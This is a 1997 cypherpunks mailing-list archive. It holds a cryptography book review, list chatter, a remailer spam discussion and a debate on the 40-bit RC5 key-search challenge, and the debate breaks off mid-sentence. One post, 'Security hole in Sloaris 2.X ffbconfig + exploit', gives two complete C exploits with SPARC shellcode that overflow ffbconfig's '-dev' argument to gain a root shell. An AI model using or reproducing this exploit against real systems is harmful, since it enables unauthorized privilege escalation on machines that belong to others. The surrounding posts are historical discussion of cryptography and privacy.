Readers are encouraged to expand their knowledge in the
many directions possible to them through this section.
 
For orders or Information Contact: Aegean Park Press, P.O.
Box 2837, Laguna Hills, Ca. 92654. Telephone: 1-800-736-3587;
Fax: 1-714-586-8269.  Group discounts available.
 







REVIEW OF CLASSICAL CRYPTOGRAPHY COURSE, VOLUME I
By the Honorable David Kennedy, Director of Research,
NCSA.


     Classical Cryptography Course, Volume I.  By
Randall K. Nichols; published by Aegean Park Press,
(714) 586-8811 (phone) (714) 586-8269 (fax); (800) 736
- 3587; 301 pages (with index); $34.80 (American
Cryptogram Association members receive a 20% discount
through ACA or NCSA Members receive a 10% discount if
purchased from the NCSA Bookstore)

     In Classical Cryptography Course, Volume I, author
Randall K. Nichols has created a benchmark for serious
students of the science of cryptography.  This is a
text.  It is for learning, and with it one cannot help
but learn about the foundations of the science.  An
outgrowth of Nichols' admitted "labor of love" in the
online Cryptography Courses he teaches over the
Internet, Volume I creates the foundation for
understanding the development of the science.

     The ten chapters of this volume lead the student
through simple substitutions, substitutions with
variants, multiliteral substitutions, xenocrypts
(foreign language substitutions), cryptarithms, the
Enigma machine (separate Enigma95 program disk available
direct from the author) and finally to polyalphabetic
substitutions.  Seven chapters conclude with problems;
solutions and discussions are provided in an appendix.
The text is indexed with twenty-four pages of references
for further study.

     I found Nichols' sense of the history of
cryptography particularly noteworthy.  The volume is
liberally salted with citations from history with
applications of the methods developed in the text.  From
Revolutionary France through the American Civil War, the
Tammany Hall scandal, Revolutionary Soviet ciphers and
Japanese successes against Chinese codes prior to Pearl
Harbor, the text provides touchstones for student to
understand and relate to.

     Phil Zimmermann observed in the documentation to
his Pretty Good Privacy Program to "Beware of Snake
Oil." Among his arguments is this anecdote:

     I remember a conversation with Brian Snow, a highly
placed senior cryptographer with the NSA.  He said he
would never trust an encryption algorithm designed by
someone who had not "earned their bones" by first
spending a lot of time cracking codes.

     Where Schneier's Applied Cryptography is a crash
course in some encryption protocols and algorithms in
use today, Nichols' text begins the teaching of Snake
Oil detection and prevention.
Learning the fundamentals, developed throughout the
text, brings a richer understanding of the science, it's
history and insight into it's possibilities and some
vulnerabilities lurking for the unwary.

     Nichols plans for release Volume II in the series
with advanced material on from the online course which
includes statistical attacks and transposition in
February, 1997.

Reviewer:  Dave Kennedy, CISSP, is Director of Research
for the National Computer Security Association,
Carlisle, PA.  He is a retired Army military police
officer and member of NCSA, ASIS, ISSA and the Computer
Security Institute.


reposted from cryptography@c2.org

Brian





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Peter M Allan <peter.allan@aeat.co.uk>
Date: Tue, 11 Feb 1997 06:42:30 -0800 (PST)
To: cypherpunks@toad.com
Subject: Codebreakers delivered OK
Message-ID: <199702111442.GAA20332@toad.com>
MIME-Version: 1.0
Content-Type: text/plain




Gary,

Thanks for the book, which arrived safely (last week,
when I was on leave and tiling my bathroom).


Cypherpunks,

In mid-December I asked on this list whether people
would recommend buying books from Gary Rasmussen.
    Message-Id: <9612131954.AA28856@clare.risley.aeat.co.uk>
    Subject: Would you send money to Gary Rasmussen ?
I got several replies for, and none against.  Thanks
to those who replied.

I am now pleased to add my data point.  He has sent my copy
of Kahn's Codebreakers.  The delay from mid-December was almost
entirely caused by banking issues.  Money transfers are not as fast
or cheap as I think they should be in 1997.  Gary tells me he may in
future get equipped to take credit cards.

His catalogue contains stuff sure to interest anybody with plenty of time.
Here is his comment:
 > NOTE: An additional benefit of ACA membership is eligibility for discounts
 > on a selection of new (unused) books on the history and practice of 
 > traditional ciphers, codes, and signals intelligence from Classical Crypto
 > Books. For a free catalog, send email to RagyR@aol.com.



 -- Peter Allan    peter.allan@aeat.co.uk





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Tue, 11 Feb 1997 06:44:23 -0800 (PST)
To: cypherpunks@toad.com
Subject: Interesting ressource
Message-ID: <199702111444.GAA20463@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



--- begin forwarded text


X-Sender: leroux@mail.vdl2.ca
Date: Mon, 10 Feb 1997 13:05:08 -0500
To: dcsb@ai.mit.edu
From: Philippe Le Roux <leroux@vdl2.ca>
Subject: Interesting ressource
Mime-Version: 1.0
Sender: bounce-dcsb@ai.mit.edu
Precedence: bulk
Reply-To: Philippe Le Roux <leroux@vdl2.ca>

The IEEE published a special issue of Spectrum
(http://www.spectrum.ieee.org/contents/) about digital commerce and ecash.

This is the index :

Electronic money: toward a virtual wallet
By Tekla S. Perry
Hard currency is disappearing from many everyday transactions along the
road to electronic money.

Future of electronic money: a regulator's perspective
By Edward W. Kelley Jr.
The way electronics will fit into the evolution of money--from acting as a
niche player
to wreaking major changes in payment systems--has yet to be determined.

Credits and debits on the Internet
By Marvin A. Sirbu
CyberCash, First Virtual, GC Tech, NetBill--these and other systems have
been developed to enable electronic transfers of payments across the
Internet.

'Minting' electronic cash
By David Chaum & Stefan Brands
Electronic cash can offer transaction privacy to honest users, affords
convenient storage and transportation, and protects against loss.

Traceable e-cash
By Peter S. Gemmell
One method of making electronic cash transactions private for honest users but
traceable by law enforcement agencies involves the use of trustees.

Crime and prevention: a Treasury viewpoint
By Stanley E. Morris
The speed and anonymity of electronic payment systems make them attractive
to those pursuing illicit activities.

Locking the e-safe
By Robert W. Baldwin & C. Victor Chang
Existing encryption-based security mechanisms can be combined to minimize a
wide range of threats to electronic commerce.

In your pocket: smartcards
By Carol Hovenga Fancher
A wallet full of cash, credit, and identification cards may, in the future,
be replaced
with two or three smartcards, each containing an IC, as a recent flurry of
market
tests and smartcard rollouts demonstrates.

Banking in cyberspace: an investment in itself
By Michael C. McChesney
While home banking has been around for some time, Internet banking is a new
concept, and has a number of advantages.

Technology takes to securities trading
By Steven M. H. Wallman
>From stock offerings conducted entirely over the Internet, to the
automation of traditional exchanges, technology is changing the way stock
markets work.

Nasdaq's technology floor: its president takes stock
By Alfred R. Berkeley III
This screen-based stock market has been particularly sensitive to the
effects of new
computer and communications capabilities.

The economics of e-cash
By Mike Ter Maat
Electronic cash can create profits for its issuers, and launch competition
for today's
government-controlled currency systems.

Money and the Internet: a strange new relationship
By Howard Anderson
This visionary sees the e-money revolution as inevitable, with "e-mail for
money"
becoming as ubiquitous in the future as e-mail messages are already today.


*PLR!

------------------------------------------------------------------------------
Philippe Le Roux
Associe de V(DL)2 Inc.
Membre du SCIP (Society of Competitive Intelligence Professionals)
Co-Auteur d'Internet Secrets (IDG - 95)
Chroniqueur a Benefice.Net

-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: 2.6.3i
Comment: Requires PGP version 2.6 or later.

mQBNAjLyVpEAAAECAKiVNKY2l2moieX3JsvrXKSvHqwF0Hq24cKh1p1VDaFEwWPs
/C6fMmo47FZIpV6xC/uRBiHVfW5d26AvJz1Ww7EABRG0IVBoaWxpcHBlIExlIFJv
dXggPGxlcm91eEB2ZGwyLmNhPokAVQIFEDLyVpHboC8nPVbDsQEBtwcB/An4zBwC
g9e1lFsVhVgmplxfUYAv3T7D7fAdCTeD51cJjns+Yh/3MoZQa7zns0BQFtRLoInL
HY4WrDBs9wSXZ70=
=tEnk
-----END PGP PUBLIC KEY BLOCK-----

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
To unsubscribe from the dcsb list, send a letter to: Majordomo@ai.mit.edu
In the body of the message, write:  unsubscribe dcsb
Or, to subscribe,           write:  subscribe dcsb
If you have questions, write to me at Owner-DCSB@ai.mit.edu

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"Never attribute to conspiracy what can be
explained by stupidity." -- Jerry Pournelle







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Duncan Frissell <frissell@panix.com>
Date: Tue, 11 Feb 1997 06:43:40 -0800 (PST)
To: cypherpunks@toad.com
Subject: Nothing Can Stop the Net
Message-ID: <199702111443.GAA20401@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Mule Power Used to Install Fiber-Optic Cable 

February 10, 1997
11.54 a.m. (1654 GMT)

SPRINGFIELD, Mo. (AP) -- No manner of modern mechanical technology could
get over or around the rugged terrain confronting electricians trying to install
fiber optic cable through the Ozarks. 

So they shifted their sights from high-tech to low-tech and hired Festus, Jake,
Red and I.B. -- four Missouri mules -- to string 40 miles of cable through
southwestern Missouri. 

"Today's thought is `fast and done quick and make the big money,"' said mule
skinner James King, who works the mules for B&L Electrical Contractors. "A
lot of people have forgot the fastest way to get through the country is on a
mule or a horse." 

Even through city traffic, the mules are getting the job done. 

The idea first came about when Empire District Electric Co. was looking for
contractors to install fiber optic cable. The cable was to run along the path of a
power line strung in 1912. More than 80 years later, it was deemed
inaccessible to vehicles in most places because of steep hills, trees or other
impediments, such as chain-link fences. 

B&L submitted a bid based on doing the work with mules. The estimate was
tricky since the company had never used mules. And if they couldn't do the
job, a backup plan would have cost much more. 

"This is extremely rugged terrain. You couldn't get any motorized vehicles in
there," said Clint Lam, manager of B&L. "You could build a road through
there, but cost-wise, it would be so expensive." 

Empire didn't know the estimate was based on mule power. But when they
learned of the idea, it seemed logical, said Darrell Wilson, Empire's
telecommunications foreman. He told colleagues at a recent training seminar
about the mules' success. 

"Everybody thought I was joking," Wilson said. "They thought I meant an
ATV, some mechanical 4-wheel drive. They didn't really think it was a
four-legged animal. They were a little surprised when I said, `No, I mean a real
mule."' 

The mule skinners hook one end of the cable to an overhead pole and knot the
other end to a mule's saddle. Then the animal pulls. 

All-terrain vehicles are prone to tipping on uneven surfaces, while mules are
sure-footed and can jump creeks or chain-link fences. In fact, they worked so
well in the rough stuff, they were kept on even when the line reached
Springfield, the state's third-largest metropolitan area. 

"I think we're going to try to vote in a new position in our contract for mule
skinner," crew foreman John Agee joked. 

Dr. Melvin Bradley, of Columbia, a retired University of Missouri professor
and an expert on mules, was not surprised to learn of the mules' success. 

"The mule will go places, over banks and rough terrain and stand up and be
able to pull that cable through where horses will have trouble," he said. 

Festus, at 1,250 pounds the largest of the crew, drew curious glances from
motorists as he and skinner King recently hauled cable through exhaust-stained
snowbanks near a busy city intersection. Festus wasn't fazed, though he was a
bit trailer-sick from the 30-mile commute from Galena. 

"This is his first day on the job," the hard-hatted King said from the saddle
where he wraps the rope or cable being pulled by the mule. Festus can tow up
to 14,000 feet of cable, a load weighing more than 1 ton. 

Some people who saw the mules at work didn't know exactly what they were,
which King found remarkable. After all, mules were made Missouri's state
animal in 1995. 

"`Look, ma -- it's a horse!"' King said, mimicking what he's heard from
children passing the work crew. "It's a good old Missouri mule." 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Rubin <phr@netcom.com>
Date: Tue, 11 Feb 1997 06:41:05 -0800 (PST)
To: cypherpunks@toad.com
Subject: sci.crypt archive?
Message-ID: <199702111441.GAA20219@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Is anyone on cypherpunks archiving sci.crypt?  I'd be interested
in getting hold of some articles from some years back... thanks





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Three Blind Mice <3bmice@nym.alias.net>
Date: Tue, 11 Feb 1997 06:42:10 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: New X-Ray Imager
Message-ID: <199702111442.GAA20283@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


On Tue, 4 Feb 1997, Igor Chudov @ home wrote:

> Let's remember though that perception of security applies not
> only to passengers, but also to potential terrorists. If they *think*
> that they would not be able to bring a bomb easily, they would be less
> inclined to do so.

Do you seriously believe that a terrorist who wishes to take an explosive
device on board a plane fears the security of an airport? It's not
possible to put such a thought into anyone but a prole; we are not proles,
and they are not proles. The real effect and intent is obvious.

--3bmice






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Tue, 11 Feb 1997 06:43:22 -0800 (PST)
To: Ed Falk <Ed.Falk@Eng.Sun.COM>
Subject: Re: lead remailer is shut down
Message-ID: <199702111443.GAA20399@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 11:58 AM 2/7/97 -0800, Ed Falk wrote:
>Can't remailers be written with basic spam safeguards?  I.e. no mass
>crossposts, limited # of posts by each individual client per day, etc.?

Most remailers have some basic spam safeguards, typically
how many messages per day or per session or whatever.
They also implement blocking on specific source or destinations,
which makes it easier to stop known spam sources and reduce
hassle for people who don't want to be spammed.

Limited number of posts per source or per destination are less useful,
since people use chained remailers - most messages will have a
remailer as either the source, destination, or both,
so it's fairly common to have lots of messages from one source.

Mass crossposts aren't all that bad; if you're running a decent
newsreader you'll only see that kind of spam once.  The bad ones are
multiple identical or nearly-identical messages posted to one or
a few newsgroups each, which are harder to detect and much more 
annoying to the reader.  On the other hand, NoCeMs can catch them,
if anybody's sending and using them.

I don't know how many people have the capability to block on Subject:
or message content; I remember getting bouncemails for things that
had variants on M AK E  M O N E Y  F A S T in them, so there are or were
other remailers that block those.

It's hard to find a good definition of spam, and hard to implement it
without keeping lots of extra records you'd probably rather not keep,
and spammers who are willing to do work can find out your limits,
especially if they're in a policy document somewhere, and evade them,
sending as much through each remailer as fits under the radar.
Fortunately, most spammers don't bother.

Back when I was running a remailer, it was a modified Ghio2 version;
I'd fixed some bugs in it, and took the spam detector behavior from
highly rude (shutting itself down quietly) to mildly rude (shutting
itself down noisily); the basic model was to stop entirely under
big spam attacks and let a human fix it up, rather than trying to resolve
them subtlely, which is more appropriate for small spamming.
The advantage of this approach is that you don't have mysterious
message losses; it's all or nothing.  (Well, you still get some 
mysterious losses, but mostly from bugs or interactions with
other types of remailers.)

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Tue, 11 Feb 1997 06:43:40 -0800 (PST)
To: cypherpunks@toad.com
Subject: Teledesic Looks At SS-18's
Message-ID: <199702111443.GAA20402@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



--- begin forwarded text


Sender: investor@LunaCity.com
To: "Space Investors Mailing List" <space-investors@LunaCity.com>
From: Michael_Wallis@sec.sel.sony.com
Reply-To: "Space Investors Mailing List" <space-investors@LunaCity.com>
Date: Mon, 10 Feb 1997 11:59:44 -0800
Organization: LunaCity BBS - (Clan Zen Relay Network) Mountain View, CA
Subject: Teledesic Looks At SS-18's
X-Mailserver: Waffle File Server (WFS), Release 3.2.ag
X-Article: 285

Teledesic Might Launch With Converted SS-18s

Teledesic Corp. is talking with a newly formed Russian-Ukrainian
group about launching up to 204 Teledesic satellites into low Earth
orbit aboard converted SS-18 missiles.

The Dnepr rocket is backed by the Russian and Ukrainian governments.
Their space agencies are partners in a joint-venture company to sell
commercial launch services. Askond of Moscow and Ukraine's Yuzhnoye
State Design Bureau are marketing the Dnepr. Teledesic, a U.S.
telecommunications company, plans to place about 900 satellites in
space.

        Michael

-------------------------------------------------------------------------
Michael Wallis, Computer Consultant     Work: mwallis@sec.sel.sony.com
http: //www.wallis.com/                 Home: mwallis@wallis.com

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"Never attribute to conspiracy what can be
explained by stupidity." -- Jerry Pournelle
The e$ Home Page: http://www.shipwright.com/rah/
FC97: Anguilla, anyone? http://www.ai/fc97/







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Cristian SCHIPOR <skipo@sundy.cs.pub.ro>
Date: Tue, 11 Feb 1997 06:43:39 -0800 (PST)
To: cypherpunks@toad.com
Subject: Security hole in Sloaris 2.X ffbconfig + exploit
Message-ID: <199702111443.GAA20437@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



Mon Feb 10 15:58 EET 1997 Romania  

"Buffer Overflow" rules.

I have found a buffer overflow hole in ffbconfig (Solaris2.X). That allow  you
to gain root access on your machine. I used an exploit written by Jeremy Elson
for gethostbyname() buffer overflow hole (I modified some values to make this 
work).   

I dont now yet what in ffbconfig is wrong but Im still diging. So more 
detailes later.

Here's the exploit for Solaris 2.X:


---------------------------------- first  ------------------------------------- 
/*
This works on Solaris 2.5 wiz /usr/sbin/ffbconfig
*/

#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>

#define BUF_LENGTH      128
#define EXTRA           256
#define STACK_OFFSET    128
#define SPARC_NOP       0xa61cc013

u_char sparc_shellcode[] =
"\x82\x10\x20\xca\xa6\x1c\xc0\x13\x90\x0c\xc0\x13\x92\x0c\xc0\x13"
"\xa6\x04\xe0\x01\x91\xd4\xff\xff\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e"
"\x2f\x0b\xdc\xda\x90\x0b\x80\x0e\x92\x03\xa0\x08\x94\x1a\x80\x0a"
"\x9c\x03\xa0\x10\xec\x3b\xbf\xf0\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc"
"\x82\x10\x20\x3b\x91\xd4\xff\xff";

u_long get_sp(void)
{
  __asm__("mov %sp,%i0 \n");
}

void main(int argc, char *argv[])
{
  char buf[BUF_LENGTH + EXTRA];
  long targ_addr;
  u_long *long_p;
  u_char *char_p;
  int i, code_length = strlen(sparc_shellcode),so;

  long_p = (u_long *) buf;

  for (i = 0; i < (BUF_LENGTH - code_length) / sizeof(u_long); i++)
    *long_p++ = SPARC_NOP;

  char_p = (u_char *) long_p;

  for (i = 0; i < code_length; i++)
    *char_p++ = sparc_shellcode[i];

  long_p = (u_long *) char_p;

  targ_addr = get_sp() - STACK_OFFSET;
  for (i = 0; i < EXTRA / sizeof(u_long); i++)
    *long_p++ =targ_addr;

  printf("Jumping to address 0x%lx B[%d] E[%d] SO[%d]\n",
targ_addr,BUF_LENGTH,EXTRA,STACK_OFFSET);

  execl("/usr/sbin/ffbconfig", "ffbconfig", "-dev", buf,(char *) 0);
  perror("execl failed");
}

------------------------ end of "ffbcexp25.c"  --------------------------------

-------------------------------- second --------------------------------------

/*
This works on Solaris 2.4 wiz /usr/sbin/ffbconfig from a Solaris 2.5
*/



#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>

#define BUF_LENGTH      128
#define EXTRA           256
#define STACK_OFFSET    128
#define SPARC_NOP       0xa61cc013

u_char sparc_shellcode[] =
"\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xda\xdc\xae\x15\xe3\x68"
"\x90\x0b\x80\x0e\x92\x03\xa0\x0c\x94\x1a\x80\x0a\x9c\x03\xa0\x14"
"\xec\x3b\xbf\xec\xc0\x23\xbf\xf4\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc"
"\x82\x10\x20\x3b\x91\xd0\x20\x08\x90\x1b\xc0\x0f\x82\x10\x20\x01"
"\x91\xd0\x20\x08"
;


u_long get_sp(void)
{
  __asm__("mov %sp,%i0 \n");
}

void main(int argc, char *argv[])
{
  char buf[BUF_LENGTH + EXTRA];
  long targ_addr;
  u_long *long_p;
  u_char *char_p;
  int i, code_length = strlen(sparc_shellcode),so;

  long_p = (u_long *) buf;

  for (i = 0; i < (BUF_LENGTH - code_length) / sizeof(u_long); i++)
    *long_p++ = SPARC_NOP;

  char_p = (u_char *) long_p;

  for (i = 0; i < code_length; i++)
    *char_p++ = sparc_shellcode[i];

  long_p = (u_long *) char_p;
  targ_addr = get_sp() - STACK_OFFSET;
  for (i = 0; i < EXTRA / sizeof(u_long); i++)
    *long_p++ =targ_addr;

  printf("Jumping to address 0x%lx B[%d] E[%d] SO[%d]\n",
targ_addr,BUF_LENGTH,EXTRA,STACK_OFFSET);

  execl("/usr/sbin/ffbconfig", "ffbconfig", "-dev", buf,(char *) 0);
  perror("execl failed");
}

------------------------------ end of ffbcexp24.c -----------------------------

Cristian Schipor - Computer Science Faculty  - Romania -  Bucharest 
Email: skipo@math.pub.ro or skipo@ns.ima.ro
Phone: (401) 410.60.88


PS: "special for STFP"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <nobody@replay.com>
Date: Tue, 11 Feb 1997 06:44:25 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: 40-bit RC5 crack meaningless??
Message-ID: <199702111444.GAA20479@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


[Excerpts from Winn Schwartau's  2/9 "InfoWar Digest," with responses to
Paul Strassmann's diatribe on the RSADS Secret-Key Challenge.  Burt
Kaliski, Tim May, Padgett Peterson -- among others -- toss in their two
bits. Longish.

[FYI: RSADS still has 12 open Challenges pending, offering cash rewards for
anyone who can decrypt 56-bit DES -- or any of eleven _other_ RC5
cyphertext samples, encrypted with keys of varied lengths, ranging from
48-bit through 128-bits. Details somewhere on the RSA site:
<http://www.rsa.com> ]

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

From: Burt Kaliski <burt@RSA.COM>
To: "'infowar@infowar.com'" <infowar@infowar.com>
Subject: Further to Goldberg's Cracking Accomplishments
Date: Wed, 5 Feb 1997 13:58:53 -0800

Paul A. Strassmann <paul@strassmann.com> quoted a UC Berkeley press
release on Ian Goldberg's successful effort to discover the unknown 40-bit
key to an RC5 ciphertext offered in the RSA Data Security Secret-Key
Challenge, and raised a number of justifiable concerns about whether a
contest like the Challenge is an appropriate measure of the security of a
40-bit encryption algorithm in an InfoWar environment.

>>As I suspected (see earlier private comment), the
>>highly promoted RSA cracking contest offered
>>a number of clues that ordinarly would not be
>>volunteered by info-terrorists or info-criminals to
>>IW Defense teams.
>>
>>These clues made the cracking significantly easier,
>>because it made it possible to eliminate an enormous
>>range of possible searches.

Mr. Strassmann is a well known scholar of the InfoWar threat environment. I
am not, so I cannot address those specific concerns directly -- but I would
like to offer some rationale as to why the Challenge was structured as it
was.

The RSA Data Security Secret-Key Challenge
<http://www.rsa.com/rsalabs/97challenge/>, started last week, is an open
contest sponsored by RSA Laboratories that offers cash prizes for the
successful recovery of encryption keys for the DES and RC5 block ciphers.
Following the model of the RSA Factoring Challenge which for several years
has provided an assessment of the security of the RSA public-key algorithm
at various key sizes, the Secret-Key Challenge is intended to measure of
the security of secret-key algorithms at various key sizes.

As was the case with the Factoring Challenge, full details of the algorithms
and key sizes are provided. In addition, three plaintext-ciphertext pairs
(the ciphertext encrypted with the key of interest) are provided for each key
to be recovered.

Last week, the first of the keys in the Challenge, a 40-bit RC5 key, was
recovered by Ian Goldberg, a U.C. Berkeley graduate student. His effort
involved about 250 workstations and took 3.5 hours.  When I called Mr.
Goldberg to congratulate him in a teleconference during the RSA Data
Security Conference last week, he explained that he had discovered the
valid key with a search of about 350 billion keys, using a university
computer network to search at a rate of 100 billion keys/hour.

There are about 1 trillion 40-bit keys, for any algorithm. Mr.
Goldberg's search method involved simple brute-force; that is, the known
plaintext was encrypted with each key, and then compared to the available
ciphertext, looking for a match.

The overall effort was essentially what was expected for the 40-bit key size,
and as one would expect, the recovery of a key for the other RC5 key sizes
(from 48 bits to 128 bit), or for DES (56 bits), will involve much more work.
With the same "brute force" method employed by Mr. Goldberg last week, one
would expect a 256-fold increase in effort for each eight-bit increase in
key size. Special-purpose hardware may reduce the actual time, of course,
but the total number of possible keys to be tested will grow at that rate.

Mr. Strassman expressed concern as to whether the successful recovery of
a 40-bit key in 3.5 hours is a realistic measure of the strength of 40-bit
keys in an InfoWar environment, where full details of the algorithm and
plaintext blocks are not necessarily known. Again, not being acquainted
with the threat environment, I cannot address his concerns directly.
Nevertheless, RSA Laboratories does consider this type of contest to be
appropriate as a general measure of cryptographic strength -- for RSA's
products and those of any other vendor in the international crytographic
community.

The information provided to RSA Secret-Key Challenge contestants is no more
than is common and conventional for any open contest to test the strength
of a cryptographic algorithm. These conventions have evolved within the
international community of cryptographers seeking, on the basis of several
acknowledged principles, to develop common criteria for measuring the
relative strength or security of any particular cryptographic algorithm
with a given key size. Our rationale for the structure of the Challenge is
reflected in the following observations:

* Knowledge of the algorithm and key size (as per Kerchoffs' principle), as
well as the availability of known plaintext, are standard assumptions in
modern cryptanalysis. Since an opponent may obtain this information
eventually, it is preferable not to rely on its secrecy when assessing
cryptographic strength.

* The implementation of large-scale key-search engines is simplified under
the standard assumptions. This makes the contest accessible to a wider
variety of contributors, than if we required contributors to know, for
instance, a particular language, or language statistics, or other
characteristics of the plaintext. (Perhaps another challenge where we didn't
provide plaintext samples would be a worthwhile follow-up.)

* In practice -- even if the plaintext is not known -- significant
information about it is likely to be, such as character distributions (ASCII,
English), header values (e.g., BER tag and length), or padding.  The cost (in
time, effort, and computing resources) of a key search with even a small
amount of information of this kind is not significantly more than the cost
with known plaintext.

For instance, if it is known that the characters are represented in ASCII,
for instance, then one can decrypt available ciphertext with each key and
check that the recovered plaintext follows ASCII conventions (most
significant bit of each byte 0). The chance that an incorrect key produces
plaintext that passes the test is 1/2^k where k is the number of plaintext
bytes recovered. This means, for example, that of 2^40 keys tried, we expect
only 2^32 to pass the check for a single eight-byte block. The 2^32 keys must
then be tested further against other ciphertext blocks.

So instead of 2^40 encryptions -- as in the case when the plaintext is known
--  a cryptanalyst would need to search within 2^40+2^32+2^24+2^16+2^8+1
(roughly) keys, to find the correct key. But this represents an increase in
effort of less than 0.5 percent.

RSA Laboratories appreciates the InfoWar Community's interest in the RSA
Data Security Secret-Key Challenge, and Mr. Strassmann's comments in
particular. We look forward to further suggestions and critiques of our
efforts.

-- Burt Kaliski
>Chief Scientist
>RSA Laboratories
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~


Date: Mon, 3 Feb 1997 21:42:24 -0800
To: infowar@infowar.com
From: "Timothy C. May" <tcmay@got.net>
Subject: Re: Infowar Digest Volume 02: Number 04 - Crypto and Goldberg

I seldom read your newsletter carefully. I did tonight, and discovered two
of the items you included contain serious errors.

(Of course, as a strong advocate of "infowar" I suppose I'm pleased to see
your subscribers in the government misled by these errors...it makes our
job a little easier in the long run.)

>To: infowar@infowar.com
>From: Patrick Galley <Patrick.Galley@studi.epfl.ch
>Subject: New crypto attack
>Date: Mon, 27 Jan 1997 07:56:39 +0000
>
>Hello
>
>A friend of mine told me to look at the WWW site "John Douglass'
>CryptoMaverick Page").
>
>There I've found a paper from John Douglass which says that if RSA
>products are sold worldwide it because there is a backdoor inside. He
>said the same thing for DES and PGP.
.....
>If this guy is right. It would be better for is security that everybody
>knows the truth.
>
>I think it would be nice if you could look at this doc and talk about it
>in infowar.com.

I looked at the site and it's a mixture of conspiracy theory rantings and
misinformation.

As to the security of various RSA algorithms (and PGP, for example), the
security of many of these algorithms lies in the publishing of the source
code, with digital signatures on the released binaries to allow independent
verification.

If a real security hole is found in, say, PGP or Netscape, expect it to be
publicized loudly and quickly. (Indeed, certain flaws have been found, and
quickly publicized. The same Ian Goldberg involved in later message was one
of those who isolated a flaw in the random number generator used in an
earlier version of Netscape.)

The web site mentioned here doesn't cut it, and this message here is just
more "disinformation" (itself a part of infowar, so I guess the author is
practicing his skills).

>Date: Thu, 30 Jan 1997 20:10:36 -0500
>To: "Wright Larry" <Wright_Larry@bah.com>
>From: "Paul A. Strassmann" <paul@strassmann.com>
>Subject: Further to Goldberg's Cracking Accomplishments
>Gentlemen:
>
>As I suspected (see earlier private comment), the
>highly promoted RSA cracking contest offered
>a number of clues that ordinarly would not be
>volunteered by  info-terrorists or info-criminals to
>IW Defense teams.

Paul Strassmann is simply missing the central point of cracking the 40-bit
export-allowed version. It is not based on a known plaintext attack, but on
exhaustive search of the 40-bit keyspace. What Goldberg and his colleagues
who contributed CPU time on the "NOW" (Network of Workstations) did was to
search approximately 100 billion keys per hour. As there are about a
trillion keys in the 40-bit keyspace, it was a foregone conclusion they
would find the key within 10 hours (modulo any screwups at their end), with
about half the time being the most likely time. As it was, they found the
key a tad bit early, by the luck of the draw (so to speak).

RSA certainly knows how long it takes to brute force the keyspace. They
just didn't know who would find the key first. (And at least one other
group reported a solution within minutes of Goldberg's report.)

So, Paul is simply throwing disinformation--or lack of understanding--into
the air by claiming that this crack does not mean a 40-bit key is "weak."
Simply put, it is. Anyone who looks at the math understands this. The
keyspace is simply too small for real security.

(Does the NSA use 40-bit keys? Of course not. Hmmmhhh.)

As the select panel of cryptographers empaneled to study key lengths
concluded, 56 bits is already too weak, 80 bits is better and should be
adopted forthwith for export, and >96 bits is preferable.

As an "infowarrior" of sorts myself, I can assure you that we don't give a
hoot in hell what the regs say is "allowed." When any tourist on his way to
Europe can carry as many CD-ROMSs and DAT tapes in his luggage as he
wishes, with absolutely no "exit checks," who really cares what the "export
laws" allow?

(I carried 5 gigabytes of data, some of it crypto-related, to a meeting
with cryptographers and crypto anarchists in Monte Carlo a while back.
Obviously I was not searched or even glanced at on my way out, nor on my
arrival at Charles de Gaulle airport, etc. Only upon my return to San
Francisco was I asked what my business had been. The Customs Officer gave
me a blank look when I told him I was meeting with cryptographers in Monte
Carlo (I told him the truth, knowing I was breaking no laws whatsoever). He
had no idea what I was talking about, and was bored. He then asked me if I
was bringing back any stuff I bought in shops over there. "No," I told him.
He just waved me through.)

Not to mention the ease with which stuff is shipped out over the Internet.
(I made a bet a couple of years ago that each major new cipher would arrive
at offshore non-U.S. sites within 3 hours of release in the U.S. Remailers
make it so easy to bounce stuff around.)

And of course I was the one in 1988 who first proposed the now-popular
method of using the least significant bits (LSBs) of CDs and DATs filled
with music, and LSBs of GIF images, to transparently export megabytes of
data undetectably. (To any sniffers, the LSBs are formally and
